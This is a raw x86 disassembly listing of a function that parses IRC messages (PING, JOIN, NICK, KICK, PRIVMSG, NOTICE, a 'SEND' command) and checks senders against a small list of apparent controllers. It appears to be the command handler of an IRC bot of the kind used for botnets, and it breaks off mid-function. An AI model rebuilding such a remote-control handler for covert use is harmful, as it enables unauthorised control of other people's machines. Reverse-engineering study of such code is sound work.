var_2B3C	= byte ptr -2B3Ch
var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42D12C ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42D128 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42D124 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08E
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0B8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401E91:				; CODE XREF: sub_401ACD+253Cj
					; sub_401ACD+2559j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A62j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A84j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C36j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42D064


loc_402077:				; CODE XREF: sub_401ACD+28CDj
					; sub_401ACD+2C4Dj ...
		call	sub_415221


loc_40207C:				; CODE XREF: sub_401ACD+1BE2j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B70j
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D040
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42D02C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		cmp	dword_429088, ebx
		jz	loc_409855


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42D024
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CFE8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BD
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42CFE4
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
